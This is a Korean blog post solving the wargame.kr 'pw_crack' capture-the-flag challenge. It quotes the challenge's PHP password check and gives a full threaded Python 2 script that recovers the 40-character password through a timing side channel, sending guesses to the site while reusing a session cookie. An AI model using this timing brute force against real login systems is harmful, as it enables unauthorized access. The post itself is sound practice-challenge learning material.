Python/2.7 simple coding(+ c++)

wargame.kr pw_crack

qkqhxla1 2014. 10. 6. 23:51

codeshell의 admin_pass 보다 어려운 버전이다. 아마 codeshell이 이 문제를 보고 조금 


쉽게 만든 버전인 듯... 소스를 보면.........


 $password=auth_code("pw crack");
 
$dest $_SERVER['REMOTE_ADDR'];
 
$port 31337;
 
$data="";

 
$sock = @fsockopen($dest,$port,$errno,$errstr,10);
 if(!
$sock){die("IP : $dest<br />port : $port<br /><h2>Connection Error</h2><br /><br />Please, open your port!");}
 
fwrite($sock,"password : ");
 for(
$i=0;$i<40;$i++){
  
$c=fgetc($sock);
  if(
ord($c)==|| ord($c) == 10){ break; }
  
$data.=$c;
 }
 
fclose($sock);
 
 for(
$i=0;$i<40;$i++){
  
sleep(2);
  if(
$data[$i]!=$password[$i]){
   die(
"wrong password!");
   break;
  }
 }
 echo 
"<script> alert('congratulation!! that`s auth key!!'); </script>";


라고 나와있다. 핼소닉님이 만드신것 같은데 엄청나게 오래걸리고 어렵다.


소스를 해석해보면 소켓으로 내 아이피주소로 31337포트로 password : 라는 데이터를 보내고,


내가 어떤 글자를 입력하면 이미 있는 $password배열과 내가 입력한 입력 배열을 비교해서


 for($i=0;$i<40;$i++){
  
sleep(2); //일단 2초멈추고
  if(
$data[$i]!=$password[$i]){ //글자가 틀리면
   die(
"wrong password!"); //이거 출력하고
   break; //종료,
  }
 }


여기서 연산이 이루어진다. 첫번째 패스워드 글자가 c라고 하면 내가 a를 입력했을때 2초쉬고


wrong password!가 출력된 후 프로그램이 종료된다. 내가 c를 입력하면 2초쉬고, 그다음 패스워드


와 비교한 후 또 틀리면 wrong password!가 출력되고 종료되므로, 4초쉬고 wrong password!


가 출력된다. 이런식으로 40자까지 가는건데... 내가 입력한 39번째 글자까지 맞으면 


80초를 무조건 쉬고 wrong password!를 출력후 종료되고, 40글자 다 맞으면 그 아래의


echo "<script> alert('congratulation!! that`s auth key!!'); </script>"이 출력된다.


대충 설명만 들어도 얼마나 오래 걸릴지 상상할수 있다. 


나같은경우 저녁 7시 50분에 돌리기 시작해서 11시 20분에 끝났다. 하루마다 패스워드가 갱신되기에


12시 이전에 끝내야 하는데 뒤로 가면 갈수록 더 오래걸리는 특성때문에 설마 12시이전에 못뽑으면


망하는... 그런 매우 쫄았었다.(그럴경우 자면서 다시 돌려야됨. 4시간가량을.)


하여튼 알고리즘은 이렇고, wargame.kr에서 쏘는 소켓을 받아야하는데 소켓을 받으려면


가장 쉬운 방법은 netcat이 있겠는데.... 처음에 netcat을 활용하려다가 netcat을 이용해서 프로그램을


못짤것 같아서, netcat대신 같은 동작을 하는 걸 만들었다. 소켓 서버를 만들고, 내 무선랜카드에


바인드 시킨 후 패킷을 기다리는 형태이다. 내가 만든 netcat을 간단하게 구현한 파이썬 서버 소스이다.


import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #TCP소켓을 만든다.
s.bind(('192.168.219.101',31337)) #내가 포트포워딩시킨 192.168.219.101주소에 연결시킨다.
s.listen(1) #받아들일 클라이언트 갯수는 1개.
conn,addr = s.accept() #s.accept()에서 클라이언트의 소켓이 리턴된다.
print addr #addr는 클라이언트의 주소,포트값이 들어있다.
print conn.recv(1024) #클라이언트 소켓이 나에게 보낸 데이터.


이런식으로 코딩을 하고 실행시킨 후 wargame.kr의 let's go 버튼을 누르면 이렇게 데이터를 잘 받음


을 알 수 있다. 출력 결과는 워게임 사이트의 ip주소인 1.234.27.139와 보낸 포트 48186 (보내는 쪽의


포트는 대부분 랜덤으로 정한다.) 그리고 받은 데이터인 password : 가 제대로 출력된다.




일단 내가 원하는 파이썬 netcat?을 임시로 만들어보았다. 이제 코딩을 해서 자동으로 반복문을


돌면서 위처럼 파이썬 netcat을 켠 후, 서버로 연결하는 코딩을 하면 될것이다.


그런데 문제가 있다. 서버 프로그램을 실행시키면 s.accept()에서 클라이언트를 기다리기 때문에


그 다음 코드인 서버에 연결하는 코드가 실행될수 없다. 쓰레드를 이용해서 해야 한다.


쓰레드를 두개 만든 후 한 쓰레드는 파이썬 netcat을 돌리고, 나머지 한 쓰레드는 서버에 연결해서


나에게 요청을 보내도록 한다. 서버의 연결요청과 관련된 알고리즘은 이렇게 생각했다.


이제 또하나 중요한 비밀번호를 알아내는 알고리즘이 남았는데... 이게 쓰레드만큼 복잡하다.


$sock = @fsockopen($dest,$port,$errno,$errstr,10);
 if(!
$sock){die("IP : $dest<br />port : $port<br /><h2>Connection Error</h2><br /><br />Please, open your port!");}
 
fwrite($sock,"password : ");
 for(
$i=0;$i<40;$i++){
  
$c=fgetc($sock);
  if(
ord($c)==|| ord($c) == 10){ break; }
  
$data.=$c;
 }
 
fclose($sock);
 
 for(
$i=0;$i<40;$i++){
  
sleep(2);
  if(
$data[$i]!=$password[$i]){
   die(
"wrong password!");
   break;
  }
 }


이부분을 다시한번 보면.... wargame.kr에서 나에게 소켓을 보내고, 내가 소켓을 받은후 받은 소켓으로


데이터를 보내고, 한글자 한글자씩 비교하는데.. 맨 위에서 말했듯이 원래 걸리는 시간보다 2초가 더


걸리면 맞는 답으로 처리하는 식으로 해야 한다. 



import socket,time,urllib2,threading

flag = 1
answer = '' #답을 저장할 변수.

def bind_server(i): #파이썬 netcat을 실행하는 함수.
    if flag: #flag는 답인걸 발견했을때 0으로 만들어서 break를 시킨다. 굳이 이렇게 처리하는 이유는 돌리는 프로그램이 쓰레드이기 때문이다.
        global answer
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #tcp소켓을 만들어서
        s.bind(('192.168.219.101',31337)) #바인드시키고
        s.listen(1) #기다린다.
        conn,addr = s.accept() #클라이언트 소켓을 받으면
        #print 'connected client (ip,port)',addr
        pw = answer + chr(i) #pw에 원래 답인 answer을 백업해두고, 이 함수의 인자로 받은 i를 이어붙여서 보내본다. 맞으면 2초가 더 걸릴것이고, 틀리면 그냥 똑같은시간에 wrong password!가 출력된다.
        #print 'pw =',pw
        print conn.recv(1024),chr(i) #클라이언트소켓에서 받은 메시지, 내가 보낼 문자(chr(i))
        conn.sendall(pw) #받은 소켓으로 다시 데이터를 보낸다.

def request(start,i):
    global flag
    global answer
    if flag:
        req = urllib2.Request('http://wargame.kr:8080/pw_crack/check.php') #let's go버튼을 눌렀을때 상황을 구현하기 위한 함수
        req.add_header('cookie','ci_session=쿠키') #로그인 정보
        res = urllib2.urlopen(req).read()
        gap = time.time() - start #start는 포문을 시작할때 시작한 시간. 시간을 재기 위함.
        print gap,res #걸린 시간과 나온 결과를 출력한다.
        if gap > 4 + len(answer)*2: #걸린 시간이... 4초 + 답의길이*2보다 크면 true이다. (왜 이런지는 하나하나 생각해보면 알 수 있다.)
            flag = 0 #답이면 flag를 0으로 바꾼다.(이러면 더이상 요청을 보내지 않는다. 모든 함수에서 처음에 flag값을 검사하기 때문이다.)
            answer += chr(i) #답에 해당 문자를 추가한다.

thread = [] #쓰레드 목록

array = [] #꼼수를 부렸다. wargame.kr의 모든 flag들이 숫자와 영어 소문자로만 이루어졌다... 라는걸 캐치하고 조금이라도 시간을 줄이기 위해 32~128의 범위가 아닌
#48~57, 97~122 즉 숫자와 영어소문자만 돌리기 위해 array배열에 넣고 이것만 돌렸다.
for i in range(48,58): 
    array.append(i)
for i in range(97,123):
    array.append(i)

for j in range(1,41): #40번 반복
    for i in array: #숫자와 영어 소문자만 반복.
        if i==48: #처음으로 초기화되면 flag는 항상 1로 초기화해준다.
            flag = 1
        if flag: #flag 검사해서 0 아니면
            print j,i,answer #현재 진행 상태 표시
            start = time.time() #시작할때 시간
            th1 = threading.Thread(target=bind_server,args=(i,)) #쓰레드1 을 만들고 이것의 타겟은 bind_server함수이다, 인자로는 포문돌릴 i가 들어간다.
            thread.append(th1)
            th1.start() #쓰레드1 시작.
            th2 = threading.Thread(target=request,args=(start,i)) #쓰레드2 를 만들고 이것의 타겟은 request함수. 인자로는 시작한 시간인 start값과, i.
            thread.append(th2)
            th2.start() #쓰레드 2 시작.
            time.sleep(j*2+0.5) #쓰레드가 시작되면 포문이 자기마음대로 돌아가 버려 결과확인이 매우 복잡해진다. 쓰레드에서 걸리는 시간은
#처음돌릴시 계속 2초라고 보면 된다. 4초가 되어서 결과를 맞출경우 알아서 종료가 되버리고, 이렇게 처음 2초면 포문 안에서는 2.5초정도 멈추는 식으로
#안정감을 찾아줬다. 이거 빼고 돌려보면 무슨 말인지 알듯.
        else: #답을 찾았으면 다음 포문 돌림.
            break
        #print time.time() - start

for th in thread: #쓰레드 소멸용
    th.join()
print answer



너무피곤해서 코드 설명할게 많은데 더 못하겠다. 쓰레드, 네트워크 프로그래밍에 


기본적으로 알면 몇번 보다 보면 이해될 듯 싶다. 




마지막 장면 캡쳐..... 한글자 판별하는데 80초 걸림. flag값은 맨날 바뀌니까 이거 보고 인증하려


해도 안됨.

'Python > 2.7 simple coding(+ c++)' 카테고리의 다른 글

Enigmagroup missions/programming 2  (0) 2014.11.03
Enigmagroup missions/programming 1  (0) 2014.11.03
파이썬챌린지.com 5  (0) 2014.08.16
파이썬챌린지.com 4  (0) 2014.08.15
파이썬챌린지.com 3  (0) 2014.08.15